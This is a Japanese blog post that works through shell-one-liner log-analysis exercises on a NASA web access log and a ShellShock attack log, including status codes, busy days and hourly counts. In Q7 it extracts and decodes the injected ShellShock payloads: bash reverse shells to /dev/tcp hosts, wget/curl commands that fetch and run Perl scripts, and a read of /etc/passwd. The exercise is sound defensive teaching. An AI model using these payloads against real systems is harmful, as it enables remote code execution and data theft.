読者です 読者をやめる 読者になる 読者になる

labunix's blog

labunixのラボUnix

「第16回春だからログ解析するぞシェル芸勉強会」を解いてみた。

■「第16回春だからログ解析するぞシェル芸勉強会」を解いてみた。

 【問題と解答例】第16回春だからログ解析するぞシェル芸勉強会
 http://blog.ueda.asia/?p=5644

■準備0
 ログをとってきましょう。

■ここでログとは事前に用意されたアクセスログのことです。
 自身の端末のログを取っても仕方がないので、普通に。

$ wget http://blog.ueda.asia/misc/access_log.nasa.gz; \
  wget http://blog.ueda.asia/wp-content/uploads/2015/04/access.log_.shellshock.gz

$ du -k *.gz
4	access.log_.shellshock.gz
36476	access_log.nasa.gz

■準備1
 access.log.shellshock.gzとaccess_log.nasa.gzについて、
 日付と時刻を次のように正規化しておきましょう。

■月名の変換だけ気にすれば良い。

$ zcat access_log.nasa.gz | awk '{print $4}' | \
  awk -F/ '{print $2}' | sort -u
Aug
Jul

$ zcat access.log_.shellshock.gz | awk '{print $4}' | \
  awk -F/ '{print $2}' | sort -u
Dec
Nov
Oct
Sep

$ zcat access_log.nasa.gz | \
  awk '{print $4,$0}' | \
  sed -e 's%^\[\(..\)/\(...\)/\(....\):\(..\):\(..\):\(..\)%\3\2\1 \4\5\6%' \
      -e 's/Jul/07/' \
      -e 's/Aug/08/' > nasa.access.log

$ zcat access.log_.shellshock.gz | \
  awk '{print $4,$0}' | \
  sed -e 's%^\[\(..\)/\(...\)/\(....\):\(..\):\(..\):\(..\)%\3\2\1 \4\5\6%' \
      -e 's/Oct/10/' \
      -e 's/Nov/11/' \
      -e 's/Dec/12/' > shellshock.access.log

■準備2
 NASAのログを各日付のファイルに分けておきましょう。
 ログはQ1で作ったものを使います。
 1,2行目の8桁日付、6桁時刻は残っていても構いません。

■日付ごとに分けるだけ。

$ awk '{print $0 > "nasa."$1}' nasa.access.log 
$ ls nasa.[0-9]* | column
nasa.19950701	nasa.19950713	nasa.19950725	nasa.19950810	nasa.19950822
nasa.19950702	nasa.19950714	nasa.19950726	nasa.19950811	nasa.19950823
nasa.19950703	nasa.19950715	nasa.19950727	nasa.19950812	nasa.19950824
nasa.19950704	nasa.19950716	nasa.19950728	nasa.19950813	nasa.19950825
nasa.19950705	nasa.19950717	nasa.19950801	nasa.19950814	nasa.19950826
nasa.19950706	nasa.19950718	nasa.19950803	nasa.19950815	nasa.19950827
nasa.19950707	nasa.19950719	nasa.19950804	nasa.19950816	nasa.19950828
nasa.19950708	nasa.19950720	nasa.19950805	nasa.19950817	nasa.19950829
nasa.19950709	nasa.19950721	nasa.19950806	nasa.19950818	nasa.19950830
nasa.19950710	nasa.19950722	nasa.19950807	nasa.19950819	nasa.19950831
nasa.19950711	nasa.19950723	nasa.19950808	nasa.19950820
nasa.19950712	nasa.19950724	nasa.19950809	nasa.19950821

■Q1
 NASAのログについて、ステータスコードを抽出して、
 どのコードがいくつあるか数えてみましょう。

■よくあるステータスコードの集計

$ awk '{print $(NF-1)}' nasa.access.log | sort | uniq -c
3100522 200
  73070 302
 266773 304
     15 400
    225 403
  20901 404
     65 500
     41 501

$ awk '{print $(NF-1)}' nasa.access.log | awk '{a[$1]+=1};END{for (n in a){print n,a[n]}}' | sort -nr -k2
200 3100522
304 266773
302 73070
404 20901
403 225
500 65
501 41
400 15

■Q2
 NASAのログについて、ファイルを開かずに、ログの多い日を探しだしてみましょう。

■ログの多い日
 「サイズを見たら」というのはログサイズの大きい日な気がします。
 リクエストクエリーのサイズによっては若干変わる可能性がありますので、
 行の方がベターかと。

$ wc -l nasa.[0-9]* | sort -k 1 -nr | head -4
  3461612 合計
   134203 nasa.19950713
   100960 nasa.19950706
    94575 nasa.19950705

$ du -k nasa.[0-9]* | sort -k 1 -nr | head -3
16172	nasa.19950713
12292	nasa.19950706
11504	nasa.19950705

■Q3
 NASAのログについて、(Q3-1)ログの件数が一番多い曜日はどれでしょうか。
 (Q3-2)ログの件数が一番多い時間帯
 (時間帯というのは0時台、1時台、・・・、23時台のこと)はどれでしょうか。

 Q3-2については高速な方法を考えてみてください。

■Q3-1

$ awk '{print $1}' nasa.access.log | \
   date -f - "+%A" | sort | uniq -c | sort -k1 -nr
 667737 木曜日
 574547 水曜日
 556590 火曜日
 529960 月曜日
 497456 金曜日
 318046 土曜日
 317276 日曜日

■Q3-2

$ awk '{print substr($2,1,2)}' nasa.access.log  | \
  sort | uniq -c | sort -k1 -nr
 230665 15
 227228 12
 225350 13
 223873 14
 217564 16
 211064 11
 193816 10
 178664 09
 178443 17
 149193 08
 146091 18
 131432 22
 131091 19
 129907 21
 129753 20
 123932 23
 110312 00
 101403 07
  91597 01
  77805 02
  67393 03
  66540 06
  59506 05
  58990 04

■sortをしないと時短出来るの発想は同じです。
 後substrでは無いバージョンです。。。

$ awk '{print $2}' nasa.access.log | cut -c -2 | uniq -c | \
  awk '{a[$2]+=$1};END{for (n in a){print n,a[n]}}'
00 110312
01 91597
02 77805
10 193816
03 67393
11 211064
04 58990
12 227228
05 59506
20 129753
13 225350
06 66540
21 129907
14 223873
07 101403
22 131432
15 230665
08 149193
23 123932
16 217564
09 178664
17 178443
18 146091
19 131091

■Q4
 ShellShockログ内にあるIPアドレス(IPv4)がすべて192.168.から始まることを確認して下さい。
 IPアドレスはレコードの先頭だけでなく、インジェクションするコードの中にもあるのでご注意ねがいます。

$ zcat access.log_.shellshock.gz | \
  sed -e 's/\([0-9]*.[0-9]*\).[0-9]*.[0-9]*/\n\1\n/' | grep ^192.168\$ | uniq -c
    109 192.168

■Q5
 ShellShockログについて、レスポンスのデータ送信量が大きいものを、
 IPアドレスと共に上から10件を挙げてみましょう。

$ zcat access.log_.shellshock.gz | \
  sed -e 's%^\([0-9]*.[0-9]*.[0-9]*.[0-9]*\).*HTTP/1.1\" [0-9]* \([0-9]*\) .*"%\1 \2%' | \
  sort -k2 -nr | head -10
192.168.64.196 234
192.168.246.56 234
192.168.246.56 234
192.168.193.42 234
192.168.193.42 234
192.168.193.42 234
192.168.193.42 234
192.168.193.42 233
192.168.193.42 233
192.168.193.42 230

■各IPごとの総データ量は以下。

$ zcat access.log_.shellshock.gz | \
  sed -e 's%^\([0-9]*.[0-9]*.[0-9]*.[0-9]*\).*HTTP/1.1\" [0-9]* \([0-9]*\) .*"%\1 \2%' | \
  awk '{a[$1]+=$2};END{for (n in a){print n,a[n]}}' | sort -k2 -nr
192.168.193.42 13924
192.168.58.180 2468
192.168.218.214 1346
192.168.246.56 468
192.168.64.196 234
192.168.225.64 227
192.168.87.145 208
192.168.177.253 208
192.168.126.87 208
192.168.113.11 208
192.168.98.218 0
192.168.3.135 0
192.168.238.52 0
192.168.192.217 0
192.168.151.207 0
192.168.119.115 0
192.168.0.90 0

■Q6
 NASAのログについて、78月のうち、ゼロ件の日を列挙してみてください。

$ for n in `seq -w 0701 0731` `seq -w 0801 0831`;do \
    ls nasa.1995$n 2>/dev/null | grep $n >/dev/null 2>&1 || echo "1995$n"; \
  done
19950729
19950730
19950731
19950802

■Q7
 ShellShockのログから、(Q7-1)インジェクションが試みられたコード(「() { :;};」から後ろ)を抽出してみて傾向を話あってみましょう。
 (Q7-2)出来る人はエスケープも掃除してコードを復元してみましょう。
 (Q7-3)更にできる人は最後の行のコードを実行してみてください。
 このログはIPアドレスを変換しているので安全ですが、普通のログでやると死にますのでご注意を。

■Q7-1

$ zcat access.log_.shellshock.gz | grep ":.*;};" | sed -e 's%^.*:;};\|^.*()\|{ ignored;};%%g' | sort | uniq -c | sed 's/ -O/\n\t&/'
      1  /bin/bash -c \"cd /tmp;wget 192.168.8.189/use;curl
	 -O 192.168.8.189/use  ; perl /tmp/use;rm -rf /tmp/use\""
      1  /bin/bash -c \"cd /tmp;wget http://192.168.30.34/lex ; curl
	 -O http://192.168.30.34/lex ; perl lex ;rm -rf lex\""
      1  /bin/bash -c \"echo testing9123123\"; /bin/uname -a"
      1  /bin/bash -c \"wget http://192.168.105.197/bash-count.txt\""
     16  /bin/bash -i >& /dev/tcp/192.168.0.18/8888 0>&1"
      1  /bin/bash -i >& /dev/tcp/192.168.10.1/8888 0>&1"
      1  /usr/bin/wget http://192.168.63.155/res.html
	 -O /dev/null; /usr/bin/curl http://192.168.63.155/res.html"
      6  echo Content-Type: text/plain ; echo \"TEST: TEST\""
      1  echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
      1  echo Content-type:text/plain;echo;echo vulnerable"
      1 /usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget -q http://192.168.63.71/android.txt
	 -O /tmp/android.txt;perl /tmp/android.txt;rm -rf /tmp/android*\");'"
     62 /usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://192.168.144.163/guide/lx.pl
	 -O /tmp/lx.pl;curl -O /tmp/lx.pl http://192.168.144.163/guide/lx.pl;perl /tmp/lx.pl;rm -rf /tmp/lx.pl*\");'"

■Q7-2

$ zcat access.log_.shellshock.gz | grep ":.*;};" | sed -e 's%^.*:;};\|^.*()\|{ ignored;};%%g' | sort | uniq -c | \
  cut -c 9- | tr -d '\\' | sed -e 's/rnrn/\n\t\t/g' -e 's/ -O/\n\t&/' | sed s/[\'\"]\"/\'/g
 /bin/bash -c "cd /tmp;wget 192.168.8.189/use;curl
	 -O 192.168.8.189/use  ; perl /tmp/use;rm -rf /tmp/use'
 /bin/bash -c "cd /tmp;wget http://192.168.30.34/lex ; curl
	 -O http://192.168.30.34/lex ; perl lex ;rm -rf lex'
 /bin/bash -c "echo testing9123123"; /bin/uname -a"
 /bin/bash -c "wget http://192.168.105.197/bash-count.txt'
 /bin/bash -i >& /dev/tcp/192.168.0.18/8888 0>&1"
 /bin/bash -i >& /dev/tcp/192.168.10.1/8888 0>&1"
 /usr/bin/wget http://192.168.63.155/res.html
	 -O /dev/null; /usr/bin/curl http://192.168.63.155/res.html"
 echo Content-Type: text/plain ; echo "TEST: TEST'
 echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
 echo Content-type:text/plain;echo;echo vulnerable"
/usr/bin/perl -e 'print "Content-Type: text/plain
		XSUCCESS!";system("wget -q http://192.168.63.71/android.txt
	 -O /tmp/android.txt;perl /tmp/android.txt;rm -rf /tmp/android*");'
/usr/bin/perl -e 'print "Content-Type: text/plain
		XSUCCESS!";system("wget http://192.168.144.163/guide/lx.pl
	 -O /tmp/lx.pl;curl -O /tmp/lx.pl http://192.168.144.163/guide/lx.pl;perl /tmp/lx.pl;rm -rf /tmp/lx.pl*");'
■Q7-3はやりません。

$ zcat access.log_.shellshock.gz | grep ":.*;};" | tail -1 | \
  sed -e 's%^.*:;};\|^.*()\|{ ignored;};%%g' | sort | uniq -c | \
  cut -c 9- | tr -d '\\' | sed -e 's/rnrn/\n\t\t/g' -e 's/ -O/\n\t&/' | sed s/[\'\"]\"/\'/g
/usr/bin/perl -e 'print "Content-Type: text/plain
		XSUCCESS!";system("wget -q http://192.168.63.71/android.txt
	 -O /tmp/android.txt;perl /tmp/android.txt;rm -rf /tmp/android*");'